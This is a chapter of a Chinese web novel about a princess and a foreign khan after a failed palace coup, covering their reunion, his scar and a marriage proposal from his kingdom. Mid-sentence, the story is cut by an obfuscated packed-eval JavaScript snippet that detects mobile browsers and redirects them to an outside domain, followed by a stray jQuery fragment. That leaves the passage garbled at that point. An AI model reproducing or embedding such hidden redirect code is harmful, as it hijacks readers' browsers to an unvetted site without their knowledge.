这几日跟着王守润进宫求见皇上的人,都是跟王守润私交多年,只不过进宫之时,对于裴征意图造反一事还有些不信,但眼下瞧着,宫中禁军全围在裴征身边,护着他离开时,才惊觉裴征不仅仅只是意图,甚至早就有了准备。
期间有人想到什么,惊慌失措,“皇上病重,莫不然也是毅王的手段吧,那现在,皇上是不是身陷险境啊。”
裴衡那里确实是陷阱重重,裴征从一开始就安排了许多人手在养心殿,如今殿前一发生异样,瞬间便将裴衡围住。
只是不知道怎的,明明五城兵马司的人都还没杀进来,却忽然从天而降一队精兵,蒙着脸面,和看守裴衡的人打斗起来。
乘风担心顾曦身上受了什么伤害,原想着一股脑先将她救出去,安置在公主府,等宫里的事情摆平了,有什么事再回来慢慢谈,但顾曦看着一边着急的皇祖母,却摇摇头,执意要留在这。
于是一行人便朝着养心殿的方向而去。
太皇太后看见守在养心殿前的一群蒙面人时,颤抖着手,心中不断担心裴衡已经死了,但那群人显然没有恶意,在看到某人身影的时候,默契地往一边退。
太皇太后顾不上其他,被秋嬷嬷扶着就往殿里冲。
顾曦落在后面,微微侧头问道:“这是你的人?”
乘风点头,“我料到裴征肯定不会轻易任由裴衡独自待着,所以在跟着白将军进来的时候,带着一队人马悄悄到了这边。”
顾曦这时候却不合时宜地想起来一件事,“你这次来大昭,是过了明面的,还是私自的?”
明明主意已经打定,但面对顾曦的询问,乘风却有些说不出口,“是过明面的,只是余北来访的文书还没到大昭而已。”
顾曦明白了,“你是跟文书一起启程的。”
乘风点头,于是顾曦又问:“来访的缘由呢?”
乘风再一次顿住,目光偏移,不敢看顾曦。
他这副模样,顾曦却有些想笑,因为每次乘风是这样心虚时,就意味着他做的事情肯定与自己有关,想到这里,顾曦对他来大昭的目的也有了一些了解。
“此次裴征叛变之后,关于我父亲一事,背后真相究竟如何,总该有一个水落石出,我是大昭的公主,又是父亲的女儿,你要是想悄无声息把我带走的,那是不可能的。”顾曦道。
乘风听到她的话,但脑子里却一味地只听进去了最后一句,而后试探一般地问道:“那如果不是悄无声息呢?”
顾曦挑眉,“所以这就是你来大昭的目的?”
乘风又没声了。
顾曦便笑,只是目光在触及那些蒙面人时,停止了笑,“你如今身份与以往大有不同,皇祖母……皇祖母多疑,这些人怕是不能在这。”
乘风收敛了自己的小心思,只是心中难免觉得高兴,殿下这是在为自己考虑,他道:“殿下放心,我来之前和白将军已经商量好了的,待会便让他们都出宫去,不会留下把柄。”
顾曦抬脚进了养心殿,乘风留在殿外,并没有进去,同时一手摁住了边上蒙着脸想要往里探头的由固。
由固挣脱,“这就是大昭的公主,果真是赛天仙,只是我怎么看着有点眼熟。”
裴征没有想到,白亭居然会反悔,还有王守润,他是如何得知自己必定要反,竟带着人杀进宫来,更让他发怒的是,乔家居然对此视而不见,在关键时刻举家逃出。
裴征被人拥着出了宫,只来得及将玉太妃带走。
白亭带着人来到养心殿,“臣救驾来迟,请太皇太后恕罪。”
太皇太后此时一门子心思都在裴衡的病上,倒也无暇顾及,等到王守润等人进来,告知石目消失一事,她才后知后觉,自己让乔胜去安州,竟然是引狼入室。
“陆明呢,他带着大军过去的,如今可到了,可解得了安州的燃眉之急。”
当时陆明带兵援助一事,为了瞒着裴征,是保密的,如今太皇太后一问,许多人面露疑色,才反应过来,这些天不见陆明人影,原来是去安州了。
眼下正是内忧外患之际,太皇太后不禁想到,如果让陆明增援一事又是一次错误,那大昭,就真是保不住了,想到这里,她抬眸,看向一边站着的顾曦。
顾曦自然感觉到了太皇太后的怀疑,她摁下心中的酸涩,垂下眼眸。
一边的白亭便道:“臣这几日收到信报,陆明所带军队,已经到了溪州之地,只是被城中之人拦住,不得进入半分。”
说罢,他呈上早就备好的信件,“这是石目将军失踪之后,其身边守卫拼死送到翎京的信件,信上已然说明,乔胜和毅王与抚南勾结,前后三番两次与抚南做局,让皇上及我等信了他有力抵抗抚南进攻一事,故而迟迟不派兵增援,导致如今安州与溪州已为他乔胜囊中之物,陆明将军带兵到那,竟进入不得半点。”
顾曦并未在养心殿待多久,她打量着殿外已渐渐平息,便出了殿门,而后便发现养心殿外的蒙面人一个都不见了,取而代之的都是五城兵马司的人,她左右看了一圈,没看见某个身影,正要自己回芳华殿,就看见张放愚急匆匆地往这边来。
上前给顾曦行了礼,小声道:“见殿下没事,想来阿窈也能放心了,如今宫中还有待休整,殿下不如回公主府呆一阵子?”
顾曦:“这是阿窈的意思?”
张放愚有些迟疑,心中想着,虽然不是阿窈最先提起,但阿窈也是同意这个提议,想来,也算是阿窈的意思,于是点头应是。
顾曦见状,心中便明了,她垂眸看张放愚手中的东西,“这是什么?”
“余北来的文书,想要……和我朝联姻。”
顾曦在回芳华宫的路上碰见了急匆匆的执书二人,见顾曦没事,两人才放心下来。
顾曦安抚着两人,而后却想起一件事,叫执书去了一趟冷宫,看看人若还活着,便提出来。
芳华宫中,明明一切都没有改变,但顾曦就是觉得,什么都变了。
她站在寝殿外面许久,却没有进去,而后忽然掉头,去了乘风以前住着的屋子。
这还是她第一次踏进乘风的屋子,环视一圈,也不知道当时乘风走的时候,有没有带走什么。
她自顾自找了个地方坐下,抱弦跟着她,没敢说话,她知道公主心中不好受,如今毅王叛乱一事算是告一段落了,那么接下来,便是公主和太皇太后摊开算账的日子了,曾经是那样的祖慈孙贤,如今却是要离心,更何况,公主以后的日子,说不定还拿捏在太皇太后手里呢。
主仆二人在屋里待了片刻,而后有人走了进来,抱弦正想让人退下,但却在看见来人的面貌时,愣住了,一时之间到不知道自己该怎么说话,最后还是顾曦察觉到了,抬眸看去,而后让抱弦退下。
乘风手中端着一套茶具,“殿下今日受了惊吓,我想给您泡盏茶喝。”
方才拎着茶具绕了半圈芳华宫,打听到公主朝着这边来的时候,他都愣了许久,余北的文书是今日送到大昭的,公主应该还不知道,只是他也不知道公主眼下此举,是什么意思。
乘风刚出现的时候,因为场面混乱,顾曦纵使心中有再多的想法,一时之间倒也不显露出来,只是如今情形也算是可控了,再次面对乘风,顾曦心中百般滋味都涌了上来。
她想问文书是怎么回事,想问他余北之事又是怎么回事,其中种种,汇到嘴边,却成了一句,“你脖子怎么了?”
在养心殿的时候,顾曦就想问了,在乘风出现救下她的时候她就发现了他脖子上那道已经愈合但却留下来疤痕的伤口。
乘风心中的石头没能落地,这道伤口,是那日自己和胡日查交换条件时,被他所伤的,他有些犹豫,如果自己将此事和盘托出,殿下会不会觉得自己手段狠辣,心思深沉。
顾曦见他沉默,正要开口,就听得乘风说道:“殿下不若回正殿,我给殿下泡盏茶润润嗓,顺道再与殿下说说。”
余北可汗,一国之君,却弯腰于异国公主殿,与其煮茶,但偏偏,屋内两人谁都不提此事的不妥之处。
顾曦起身,抬脚正要出门,而后顿住,转回身道:“当时你从这里离开的时候,带了些什么?”
“只带了一些重要的东西。”乘风说道,只是说话之时,只觉得怀中的东西有些烫。
“重要的东西。”顾曦喃喃道,心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601292|161091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中若有所思。
两人回到正殿,一人坐在贵妃榻上,另一边是咕噜水声,袅袅热烟中,让人感觉似乎一切都不曾变化过似的。
但是乘风能察觉到顾曦的目光还落在自己的脖子上,她在等自己开口。
乘风不再犹豫,将自己回余北之后所做的一切事情告诉顾曦,只是其中略去了胡日查取血制药一事。
顾曦只是在听到胡日查伤到他的时候,皱了下眉毛,其他的倒是没有什么表情。
乘风说完,两人沉默了一阵,而后他才小心翼翼地开口,“殿下可会觉得,我下手太重?”
顾曦捧着茶盏,热着水,目光还落在他脖颈间,朱唇张开,问:“还疼吗?”
乘风一怔,“不疼的。”
顾曦点点头,问:“还有其他的吗?”
她的目光很平静,但目光之下,似乎有一道更锐利的东西,直直看进了乘风瞳孔,问他还有没有别的事情没说。
乘风心虚,但心道,公主再怎么聪慧,也猜不到胡日查背地里干的那些肮脏事,只是这样的事,自己也没必要说出来脏了公主的耳,于是否认。
顾曦继续盯着他,见他真的不准备说了,才问起另一件事,“王守润是你请来的?”
“是陆姑娘。”乘风没等顾曦继续问,便将那日自己遇见公主之后,做的一切事情告诉顾曦,包括他们如何背着裴征的耳目,私底下聚集军队,包括自己派人偷偷潜入安州,查到乔胜和扶南王之间的来信,又如何将这些信件全部交由白亭。
听到白亭是因为为自己父亲打抱不平,才装作不知此事之时,顾曦眨了眨眼,手有些颤抖,而后脸上表情像是绷不住,扯着嘴角笑了一下,道:“这次还真是要多谢你了。”
这句话太过疏远,又太过不像此时的顾曦会说出来的话,乘风从茶炉边起身,走到顾曦身前蹲下,拿出匕首递到顾曦手上。
“殿下,不是我救了您,是顾将军,”乘风道,“如果不是顾将军的匕首,我不能劝服白将军。”
顾曦拿过匕首,乘风便起身,手掌握了又握,目光落在顾曦微微颤抖的肩膀,终于忍不住,伸手揽过顾曦的肩膀,“殿下,您想哭,便哭吧。”
从见面的那一瞬间,乘风就察觉到了这四个月来,公主的不易,这期间,有裴征的恐吓,有对太皇太后的失望,更有思念父母的悲伤。
顾曦额头抵着乘风胸膛,泣不成声。
执书将半死不活的云心带回芳华宫安顿好后,便看到抱弦守在正殿前,她走进,便听到里面传来的哭泣,悄声问过抱弦,才知道塞勒赫在里面,于是两人便一左一右守在门前。
乘风轻轻拍着顾曦的背,等哭了一段时间,才出声哄着,“殿下,再怎么艰难,您也守过来了,如今是谁叛国,上下皆知,顾将军受到的忽视,也要了结了,这段时间,您若是不想面对太皇太后,那我现在就带您出去,就住在公主府。”
顾曦慢慢止住了眼泪,知道自己失态,不好意思抬起头,便闷着声音道:“这种时候,我还能怎么出宫。”
“裴征跑了,白将军没能抓到他,谁能知道他现在是不是还藏在宫中,我带着殿下走,这个罪名就安在他头上,反正他都造反了,不少这一个罪名。”
顾曦顿时笑出了声,微微坐直起身。
乘风怕她不自在,手也从她背上挪开,退后了一步,看她的脸。
双眼通红,嘴边的笑越看越苦涩。
“你是不是从溪州的时候,就看裴征不顺眼了。”顾曦说道。
乘风正心疼着,忽然被翻了旧账,一下子便心虚起来,“殿下怎么知道。”
只是顾曦显然没想着回答他,顺便连带着新账一块翻,“眼下不管我是住在宫里,还是住在公主府,都改变不了我要和皇祖母说开一事的,你就不用劝着我了,也不用从阿窈那里入手。”
乘风想到自己在张府时对陆玉窈说的话,顿时更加心虚了,可是片刻间,他想到,如果公主已经知道了这事,那就意味着公主见过张放愚了,而张放愚此时肯定是收到余北文书的了。
浅褐色的瞳孔中露出一丝期待和心虚,文书一事,公主知不知道呢。